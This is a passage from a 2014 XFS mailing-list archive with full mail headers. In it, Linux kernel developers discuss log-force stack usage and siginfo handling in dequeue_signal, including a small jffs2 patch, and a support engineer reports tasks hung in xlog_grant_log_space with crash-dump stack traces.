10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392393697 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Fri, Feb 14, 2014 at 11:24:27AM +1100, Dave Chinner wrote: > > I can fix this one easily - we already have a workqueue for doing > > async log pushes (will split the stack between xlog_cil_force_lsn > > and xlog_cil_push), but the reason we haven't used it for synchronous > > log forces is that screws up fsync performance on CFQ. We don't > > recommend CFQ with XFS anyway, so I think I'll make this change > > anyway. > > Dave, the patch below should chop off the stack usage from > xfs_log_force_lsn() issuing IO by deferring it to the CIL workqueue. > Can you given this a run? Looks like it's survived an overnight run.. Dave From oleg@redhat.com Fri Feb 14 10:09:45 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 438F87F3F for ; Fri, 14 Feb 2014 10:09:45 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 131D9304043 for ; Fri, 14 Feb 2014 08:09:42 -0800 (PST) X-ASG-Debug-ID: 1392394181-04bdf0734c226980001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id dVvuWqppi236XFZ8 for ; Fri, 14 Feb 2014 08:09:41 -0800 (PST) X-Barracuda-Envelope-From: oleg@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1EG8pcS013857 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 14 Feb 2014 11:08:51 -0500 Received: from tranklukator.brq.redhat.com (dhcp-1-208.brq.redhat.com [10.34.1.208]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with SMTP id s1EG8mvX013695; Fri, 14 Feb 2014 11:08:49 -0500 Received: by tranklukator.brq.redhat.com (nbSMTP-1.00) for uid 500 oleg@redhat.com; Fri, 14 Feb 2014 17:08:56 +0100 (CET) Date: Fri, 14 Feb 2014 17:08:54 +0100 From: Oleg Nesterov To: Al Viro , Andrey Vagin Cc: Richard Weinberger , Christoph Hellwig , Linus Torvalds , Dave Chinner , Dave Jones , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140214160854.GA21011@redhat.com> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140212113928.GO18016@ZenIV.linux.org.uk> <20140212211421.GP18016@ZenIV.linux.org.uk> <20140212214411.GQ18016@ZenIV.linux.org.uk> <20140213205146.GS18016@ZenIV.linux.org.uk> <20140214132503.GA23265@infradead.org> <52FE1A3A.9090301@nod.at> <20140214152028.GT18016@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140214152028.GT18016@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.18 (2008-05-17) X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392394181 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 02/14, Al Viro wrote: > > BTW, Oleg, could you explain why does PTRACE_PEEK_SIGINFO copy ->si_code > separately? IOW, why do we want the upper 16 bits of ->si_code exposed? > It used to be a strictly internal thing IIRC (it's been what, 2.3.late?) Yes, but checkpoint/restart tools want to dump/restore the internal part of ->si_code too. See also the "task_pid_vnr(current) == pid" hack in do_rt_sigqueueinfo(), this allows to queue a SI_FROMKERNEL() siginfo. Oleg. From BATV+be9afed2b61a3b830c79+3827+infradead.org+hch@bombadil.srs.infradead.org Fri Feb 14 10:13:14 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 8EBD17F3F for ; Fri, 14 Feb 2014 10:13:14 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5E09D8F8039 for ; Fri, 14 Feb 2014 08:13:11 -0800 (PST) X-ASG-Debug-ID: 1392394388-04bdf0516566480001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id JUNK8tPlWQ7EQq91 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 14 Feb 2014 08:13:08 -0800 (PST) X-Barracuda-Envelope-From: BATV+be9afed2b61a3b830c79+3827+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WELNu-0005R9-Ik; Fri, 14 Feb 2014 16:13:02 +0000 Date: Fri, 14 Feb 2014 08:13:02 -0800 From: Christoph Hellwig To: Linus Torvalds Cc: Al Viro , Oleg Nesterov , Dave Jones , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140214161302.GA16416@infradead.org> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140212010941.GM18016@ZenIV.linux.org.uk> <20140212040358.GA25327@redhat.com> <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> <20140212113928.GO18016@ZenIV.linux.org.uk> <20140212211421.GP18016@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1392394388 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145111 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Feb 12, 2014 at 01:32:55PM -0800, Linus Torvalds wrote: > We'd have to teach each user of "dequeue_signal()" to free the siginfo > thing. Which shouldn't be too bad - I think we've collected all of > that into generic code, and there isn't the mass or architecture code > that knows about these things any more. But there are a few odd > drivers etc and signalfd. The few odd drivers are nbd, jffs2 and the usb mass storage gadget. All of these have in common that they try to handle signals in a kernel thread (which we don't even allow by default), and that they ignore the siginfo. I think they could mostly be replaced by an addition to the kthread API to allow a kthread to be killed by signals for legacy reasons. From viro@ftp.linux.org.uk Fri Feb 14 10:16:37 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 584917F3F for ; Fri, 14 Feb 2014 10:16:37 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3056C8F8039 for ; Fri, 14 Feb 2014 08:16:37 -0800 (PST) X-ASG-Debug-ID: 1392394594-04cb6c6de23b6fc0001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id HmHHgXFGEKDzZTDZ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 14 Feb 2014 08:16:35 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1WELRA-0000SE-0V; Fri, 14 Feb 2014 16:16:24 +0000 Date: Fri, 14 Feb 2014 16:16:24 +0000 From: Al Viro To: Christoph Hellwig Cc: Linus Torvalds , Oleg Nesterov , Dave Jones , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140214161623.GU18016@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140212040358.GA25327@redhat.com> <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> <20140212113928.GO18016@ZenIV.linux.org.uk> <20140212211421.GP18016@ZenIV.linux.org.uk> <20140214161302.GA16416@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140214161302.GA16416@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1392394594 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145111 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Feb 14, 2014 at 08:13:02AM -0800, Christoph Hellwig wrote: > On Wed, Feb 12, 2014 at 01:32:55PM -0800, Linus Torvalds wrote: > > We'd have to teach each user of "dequeue_signal()" to free the siginfo > > thing. Which shouldn't be too bad - I think we've collected all of > > that into generic code, and there isn't the mass or architecture code > > that knows about these things any more. But there are a few odd > > drivers etc and signalfd. > > The few odd drivers are nbd, jffs2 and the usb mass storage gadget. > All of these have in common that they try to handle signals in a kernel > thread (which we don't even allow by default), and that they ignore the > siginfo. I think they could mostly be replaced by an addition to the > kthread API to allow a kthread to be killed by signals for legacy > reasons. FWIW, there's a funny situation - all users of dequeue_signal_lock() actually ignore info completely. I'm not saying that we ought to stop returning it, but e.g. jbd part of that patch is simply diff --git a/fs/jffs2/background.c b/fs/jffs2/background.c index 2b60ce1..aefdff2 100644 --- a/fs/jffs2/background.c +++ b/fs/jffs2/background.c @@ -119,13 +119,14 @@ static int jffs2_garbage_collect_thread(void *_c) /* Put_super will send a SIGKILL and then wait on the sem. */ while (signal_pending(current) || freezing(current)) { - siginfo_t info; + ksiginfo_t info; unsigned long signr; if (try_to_freeze()) goto again; signr = dequeue_signal_lock(current, ¤t->blocked, &info); + dismiss_siginfo(&info); switch(signr) { case SIGSTOP: Not complicated at all. Where it does get complicated is ->last_siginfo and PTRACE_SETSIGINFO - getting that reasonably clean is what I'm still fighting right now... From viro@ftp.linux.org.uk Fri Feb 14 10:18:09 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A221E7F4E for ; Fri, 14 Feb 2014 10:18:09 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6CE6D304039 for ; Fri, 14 Feb 2014 08:18:09 -0800 (PST) X-ASG-Debug-ID: 1392394687-04bdf0121f3db9b0001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id 9cmtIeEdUpVhIwPw (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 14 Feb 2014 08:18:08 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1WELSj-0000T7-DM; Fri, 14 Feb 2014 16:18:01 +0000 Date: Fri, 14 Feb 2014 16:18:01 +0000 From: Al Viro To: Christoph Hellwig Cc: Linus Torvalds , Oleg Nesterov , Dave Jones , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140214161801.GV18016@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140212040358.GA25327@redhat.com> <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> <20140212113928.GO18016@ZenIV.linux.org.uk> <20140212211421.GP18016@ZenIV.linux.org.uk> <20140214161302.GA16416@infradead.org> <20140214161623.GU18016@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140214161623.GU18016@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1392394687 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145111 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Feb 14, 2014 at 04:16:24PM +0000, Al Viro wrote: > FWIW, there's a funny situation - all users of dequeue_signal_lock() > actually ignore info completely. I'm not saying that we ought to > stop returning it, but e.g. jbd part of that patch is simply s/jbd/jffs2/, obviously. Sorry... And yes, nbd and usb_storage are the same story. From BATV+be9afed2b61a3b830c79+3827+infradead.org+hch@bombadil.srs.infradead.org Fri Feb 14 10:19:18 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4C45B7F4E for ; Fri, 14 Feb 2014 10:19:18 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 24FDB8F804B for ; Fri, 14 Feb 2014 08:19:17 -0800 (PST) X-ASG-Debug-ID: 1392394756-04cb6c6de13b7310001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id E4ngcyVbLYZNNObG (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 14 Feb 2014 08:19:17 -0800 (PST) X-Barracuda-Envelope-From: BATV+be9afed2b61a3b830c79+3827+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WELTs-0006bY-Vi; Fri, 14 Feb 2014 16:19:12 +0000 Date: Fri, 14 Feb 2014 08:19:12 -0800 From: Christoph Hellwig To: Al Viro Cc: Christoph Hellwig , Linus Torvalds , Oleg Nesterov , Dave Jones , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140214161912.GB20909@infradead.org> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140212040358.GA25327@redhat.com> <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> <20140212113928.GO18016@ZenIV.linux.org.uk> <20140212211421.GP18016@ZenIV.linux.org.uk> <20140214161302.GA16416@infradead.org> <20140214161623.GU18016@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140214161623.GU18016@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1392394756 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145112 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Feb 14, 2014 at 04:16:24PM +0000, Al Viro wrote: > > All of these have in common that they try to handle signals in a kernel > > thread (which we don't even allow by default), and that they ignore the > > siginfo. I think they could mostly be replaced by an addition to the > > kthread API to allow a kthread to be killed by signals for legacy > > reasons. > > FWIW, there's a funny situation - all users of dequeue_signal_lock() > actually ignore info completely. I'm not saying that we ought to > stop returning it, but e.g. jbd part of that patch is simply Might aswell stick the discmiss into what was dequeue_signal_lock(). Which at that point should get a saner name (maybe thread_dequeue_signal ?) and lose all argument except maybe task_struct - not that it's nessecary, but it would mirror the other functions usually used around it. From loberman@redhat.com Fri Feb 14 10:19:42 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3426B7F51 for ; Fri, 14 Feb 2014 10:19:42 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8ECAEAC001 for ; Fri, 14 Feb 2014 08:19:38 -0800 (PST) X-ASG-Debug-ID: 1392394774-04cbb00c283b6780001-NocioJ Received: from mx4-phx2.redhat.com (mx4-phx2.redhat.com [209.132.183.25]) by cuda.sgi.com with ESMTP id 5EcmTEBtVwGaMbBB for ; Fri, 14 Feb 2014 08:19:34 -0800 (PST) X-Barracuda-Envelope-From: loberman@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.25 Received: from zmail22.collab.prod.int.phx2.redhat.com (zmail22.collab.prod.int.phx2.redhat.com [10.5.83.26]) by mx4-phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1EGJXwH026111; Fri, 14 Feb 2014 11:19:33 -0500 Date: Fri, 14 Feb 2014 11:19:33 -0500 (EST) From: Laurence Oberman To: xfs@oss.sgi.com Cc: Leonardo Menezes Vaz Message-ID: <461400101.2501294.1392394773671.JavaMail.zimbra@redhat.com> In-Reply-To: <532438291.2495843.1392394364516.JavaMail.zimbra@redhat.com> Subject: Tasks blocked in xlog_grant_log_space MIME-Version: 1.0 X-ASG-Orig-Subj: Tasks blocked in xlog_grant_log_space Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [10.5.82.11] X-Mailer: Zimbra 8.0.6_GA_5922 (ZimbraWebClient - FF26 (Linux)/8.0.6_GA_5922) Thread-Topic: Tasks blocked in xlog_grant_log_space Thread-Index: NieuvDQu7aBTRxgaugO4EGy51uJF0w== X-Barracuda-Connect: mx4-phx2.redhat.com[209.132.183.25] X-Barracuda-Start-Time: 1392394774 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.02 X-Barracuda-Spam-Status: No, SCORE=0.02 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145112 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... Hello I have a customer seeing multiple tasks blocked in xlog_grant_log_space This lands up hitting the hungtask timer for pdflush. I have seen on the list that this issue is still out there. I also don't see outstanding I/O requests on the XFS file system that experienced this block. The last hung_task timeout was on dm-9 ffff81011c78c080 ffff81081a43bc00 xfs /dev/vgautocomp/lv_autocomp /bb/autocomp crash> gendisk ffff810814d24400 | grep in_flight in_flight = 0, So just wondering if I am hitting an existing bug or if its a new one. This is an older 2.6.18 kernel INFO: task pdflush:3204 blocked for more than 120 seconds. "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. pdflush D 0000000000000004 0 3204 2247 3205 3203 (L-TLB) ffff81401f523850 0000000000000046 ffff81401f523814 0000001300000001 ffff81201fe6ac00 000000000000000a ffff81381f8f20c0 ffff8111141b3040 000071fd5f0f7541 000000000005edb9 ffff81381f8f22a8 0000001b1f523940 Call Trace: [] :xfs:xfs_bmap_search_multi_extents+0x9d/0xda [] alternate_node_alloc+0x70/0x8c [] schedule_timeout+0x1e/0xad [] :xfs:kmem_zone_zalloc+0x1e/0x2f [] add_wait_queue_exclusive+0x28/0x38 [] :xfs:xlog_grant_log_space+0xc6/0x25c [] default_wake_function+0x0/0xe [] :xfs:xfs_log_reserve+0xad/0xc9 [] :xfs:xfs_trans_reserve+0xe4/0x1c5 [] :xfs:xfs_iomap_write_allocate+0xe0/0x329 [] __up_read+0x19/0x7f [] :xfs:xfs_iomap+0x217/0x28d [] :xfs:xfs_map_blocks+0x2d/0x63 [] :xfs:xfs_page_state_convert+0x2b1/0x546 [] :xfs:xfs_vm_writepage+0xa7/0xe0 [] mpage_writepages+0x1bf/0x37d [] :xfs:xfs_vm_writepage+0x0/0xe0 [] do_writepages+0x20/0x2f [] __writeback_single_inode+0x1a2/0x31c [] sync_sb_inodes+0x1b7/0x271 [] keventd_create_kthread+0x0/0xc4 [] writeback_inodes+0x82/0xd8 [] wb_kupdate+0xd4/0x14e [] pdflush+0x0/0x1fb [] pdflush+0x151/0x1fb [] wb_kupdate+0x0/0x14e [] kthread+0xfe/0x132 [] request_module+0x0/0x14d [] child_rip+0xa/0x11 [] keventd_create_kthread+0x0/0xc4 [] kthread+0x0/0x132 [] child_rip+0x0/0x11 If I check tasks in UN there are multiple tasks all blocke din the same XFS grant_log block crash> < last-un | grep -B2 -A3 grant #0 [ffff81194eaa9c58] schedule at ffffffff80062f90 #1 [ffff81194eaa9d30] schedule_timeout at ffffffff80063823 #2 [ffff81194eaa9d80] xlog_grant_log_space at ffffffff889f35ec [xfs] #3 [ffff81194eaa9de0] xfs_trans_reserve at ffffffff889fc549 [xfs] #4 [ffff81194eaa9e30] xfs_inactive at ffffffff88a036a4 [xfs] #5 [ffff81194eaa9e70] xfs_fs_clear_inode at ffffffff88a0e1e1 [xfs] -- #0 [ffff81248e1a3b18] schedule at ffffffff80062f90 #1 [ffff81248e1a3bf0] schedule_timeout at ffffffff80063823 #2 [ffff81248e1a3c40] xlog_grant_log_space at ffffffff889f3505 [xfs] #3 [ffff81248e1a3ca0] xfs_trans_reserve at ffffffff889fc549 [xfs] #4 [ffff81248e1a3cf0] xfs_create at ffffffff88a017b0 [xfs] #5 [ffff81248e1a3da0] xfs_vn_mknod at ffffffff88a0b300 [xfs] -- #0 [ffff81154866fb18] schedule at ffffffff80062f90 #1 [ffff81154866fbf0] schedule_timeout at ffffffff80063823 #2 [ffff81154866fc40] xlog_grant_log_space at ffffffff889f3505 [xfs] #3 [ffff81154866fca0] xfs_trans_reserve at ffffffff889fc549 [xfs] #4 [ffff81154866fcf0] xfs_create at ffffffff88a017b0 [xfs] #5 [ffff81154866fda0] xfs_vn_mknod at ffffffff88a0b300 [xfs] -- #0 [ffff811612de9b18] schedule at ffffffff80062f90 #1 [ffff811612de9bf0] schedule_timeout at ffffffff80063823 #2 [ffff811612de9c40] xlog_grant_log_space at ffffffff889f3505 [xfs] #3 [ffff811612de9ca0] xfs_trans_reserve at ffffffff889fc549 [xfs] #4 [ffff811612de9cf0] xfs_create at ffffffff88a017b0 [xfs] #5 [ffff811612de9da0] xfs_vn_mknod at ffffffff88a0b300 [xfs] -- #0 [ffff81380493fb18] schedule at ffffffff80062f90 #1 [ffff81380493fbf0] schedule_timeout at ffffffff80063823 #2 [ffff81380493fc40] xlog_grant_log_space at ffffffff889f3505 [xfs] #3 [ffff81380493fca0] xfs_trans_reserve at ffffffff889fc549 [xfs] #4 [ffff81380493fcf0] xfs_create at ffffffff88a017b0 [xfs] #5 [ffff81380493fda0] xfs_vn_mknod at ffffffff88a0b300 [xfs] -- #0 [ffff81311106bb18] schedule at ffffffff80062f90 #1 [ffff81311106bbf0] schedule_timeout at ffffffff80063823 #2 [ffff81311106bc40] xlog_grant_log_space at ffffffff889f3505 [xfs] #3 [ffff81311106bca0] xfs_trans_reserve at ffffffff889fc549 [xfs] #4 [ffff81311106bcf0] xfs_create at ffffffff88a017b0 [xfs] #5 [ffff81311106bda0] xfs_vn_mknod at ffffffff88a0b300 [xfs] -- #0 [ffff811bc0f63ca8] schedule at ffffffff80062f90 #1 [ffff811bc0f63d80] schedule_timeout at ffffffff80063823 #2 [ffff811bc0f63dd0] xlog_grant_log_space at ffffffff889f3505 [xfs] #3 [ffff811bc0f63e30] xfs_trans_reserve at ffffffff889fc549 [xfs] #4 [ffff811bc0f63e80] xfs_free_eofblocks at ffffffff88a004c6 [xfs] #5 [ffff811bc0f63ef0] xfs_file_release at ffffffff88a08759 [xfs] -- #0 [ffff8102b5479b18] schedule at ffffffff80062f90 #1 [ffff8102b5479bf0] schedule_timeout at ffffffff80063823 #2 [ffff8102b5479c40] xlog_grant_log_space at ffffffff889f3505 [xfs] #3 [ffff8102b5479ca0] xfs_trans_reserve at ffffffff889fc549 [xfs] #4 [ffff8102b5479cf0] xfs_create at ffffffff88a017b0 [xfs] #5 [ffff8102b5479da0] xfs_vn_mknod at ffffffff88a0b300 [xfs] -- #0 [ffff8113c4587ca8] schedule at ffffffff80062f90 #1 [ffff8113c4587d80] schedule_timeout at ffffffff80063823 #2 [ffff8113c4587dd0] xlog_grant_log_space at ffffffff889f3505 [xfs] #3 [ffff8113c4587e30] xfs_trans_reserve at ffffffff889fc549 [xfs] #4 [ffff8113c4587e80] xfs_free_eofblocks at ffffffff88a004c6 [xfs] #5 [ffff8113c4587ef0] xfs_file_release at ffffffff88a08759 [xfs] -- #0 [ffff810f542a9c18] schedule at ffffffff80062f90 #1 [ffff810f542a9cf0] schedule_timeout at ffffffff80063823 #2 [ffff810f542a9d40] xlog_grant_log_space at ffffffff889f3505 [xfs] #3 [ffff810f542a9da0] xfs_trans_reserve at ffffffff889fc549 [xfs] #4 [ffff810f542a9df0] xfs_remove at ffffffff88a01be2 [xfs] #5 [ffff810f542a9e70] xfs_vn_unlink at ffffffff88a0b536 [xfs] -- #0 [ffff810c22c0fca8] schedule at ffffffff80062f90 #1 [ffff810c22c0fd80] schedule_timeout at ffffffff80063823 #2 [ffff810c22c0fdd0] xlog_grant_log_space at ffffffff889f3505 [xfs] #3 [ffff810c22c0fe30] xfs_trans_reserve at ffffffff889fc549 [xfs] #4 [ffff810c22c0fe80] xfs_free_eofblocks at ffffffff88a004c6 [xfs] #5 [ffff810c22c0fef0] xfs_file_release at ffffffff88a08759 [xfs] -- #0 [ffff811d7ba67b18] schedule at ffffffff80062f90 #1 [ffff811d7ba67bf0] schedule_timeout at ffffffff80063823 #2 [ffff811d7ba67c40] xlog_grant_log_space at ffffffff889f3505 [xfs] #3 [ffff811d7ba67ca0] xfs_trans_reserve at ffffffff889fc549 [xfs] #4 [ffff811d7ba67cf0] xfs_create at ffffffff88a017b0 [xfs] #5 